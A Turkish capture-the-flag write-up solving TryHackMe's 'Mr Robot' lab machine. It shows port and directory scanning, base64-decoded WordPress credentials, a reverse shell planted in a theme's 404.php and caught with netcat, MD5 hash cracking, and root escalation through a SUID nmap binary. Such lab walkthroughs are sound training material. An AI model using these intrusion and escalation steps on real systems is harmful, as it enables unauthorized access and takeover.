Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Mr Robot CTF” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.19.22
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 12:42 EDT
Nmap scan report for 10.10.19.22
Host is up (0.068s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd
2 — “robots.txt” dosyasını incelediğimde fsocity.dic ve key-1-of-3-.txt dosyasını görüyorum. İki dosyayı da indiriyorum. key-1-of-3.txt dosyasını okuyarak ilk bayrağımı elde ediyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# curl http://10.10.19.22/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
┌──(root㉿kali)-[/home/kali/Downloads]
└─# wget http://10.10.19.22/fsocity.dic
--2023-06-24 12:46:12-- http://10.10.19.22/fsocity.dic
Connecting to 10.10.19.22:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’
fsocity.dic 100%[================================================================================>] 6.91M 3.65MB/s in 1.9s
2023-06-24 12:46:15 (3.65 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]
┌──(root㉿kali)-[/home/kali/Downloads]
└─# wget http://10.10.19.22/key-1-of-3.txt
--2023-06-24 12:46:21-- http://10.10.19.22/key-1-of-3.txt
Connecting to 10.10.19.22:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’
key-1-of-3.txt 100%[================================================================================>] 33 --.-KB/s in 0s
2023-06-24 12:46:21 (9.02 MB/s) - ‘key-1-of-3.txt’ saved [33/33]
3 — Dizin taraması yapıyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.19.22 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.19.22
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
2023/06/24 12:48:22 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 214]
/images (Status: 301) [Size: 234] [--> http://10.10.19.22/images/]
/index.html (Status: 200) [Size: 1188]
/index.php (Status: 301) [Size: 0] [--> http://10.10.19.22/]
/blog (Status: 301) [Size: 232] [--> http://10.10.19.22/blog/]
/rss (Status: 301) [Size: 0] [--> http://10.10.19.22/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://10.10.19.22/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.10.19.22/0/]
/feed (Status: 301) [Size: 0] [--> http://10.10.19.22/feed/]
/video (Status: 301) [Size: 233] [--> http://10.10.19.22/video/]
/image (Status: 301) [Size: 0] [--> http://10.10.19.22/image/]
/atom (Status: 301) [Size: 0] [--> http://10.10.19.22/feed/atom/]
/wp-content (Status: 301) [Size: 238] [--> http://10.10.19.22/wp-content/]
/admin (Status: 301) [Size: 233] [--> http://10.10.19.22/admin/]
/audio (Status: 301) [Size: 233] [--> http://10.10.19.22/audio/]
/intro (Status: 200) [Size: 516314]
4 — “license” dosyasını incelediğimde bir base64 ile şifrelenmiş metin görüyorum. Metni çözdüğümde giriş bilgileri elde ediyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# curl http://10.10.19.22/license
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
do you want a password or something?
*CENSORED*
┌──(root㉿kali)-[/home/kali/Downloads]
└─# echo "*CENSORED*" | base64 -d
*CENSORED*
5 — Elde ettiğim bilgiler ile wordpress platformuna giriş yaptıktan sonra 404.php dosyasının içerisine bir php reverse shell kodu yerleştirip bağlantı alıyorum.
http://10.10.19.22/wp-content/themes/twentyfifteen/404.php
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.19.22] 41786
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
16:54:53 up 22 min, 0 users, load average: 0.07, 0.81, 0.75
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
6 — “/home/robot” dizini altındaki “password.raw-md5” dosyasını incelediğimde robot kullanıcısına ait parola hashi görüyorum. Crackstation sitesi ile bu hashi kırıp robot kullanıcısına geçiş yapıyorum. Daha sonra ikinci bayrağı elde ediyorum.
$ cat password.raw-md5
robot:*CENSORED*
$ python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/home/robot$ su robot
su robot
Password: *CENSORED*
robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
*CENSORED*
7 — Suid biti aktifleştirilmiş komutları listelediğimde “nmap” i görüyorum. GTFObins sitesinden bu yetkiyi nasıl suistimal edebileceğimi öğreniyorum.
robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap <---------------------
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
8 — Root kullanıcısına geçtikten sonra üçüncü bayrağı da elde ediyorum.
robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
*CENSORED*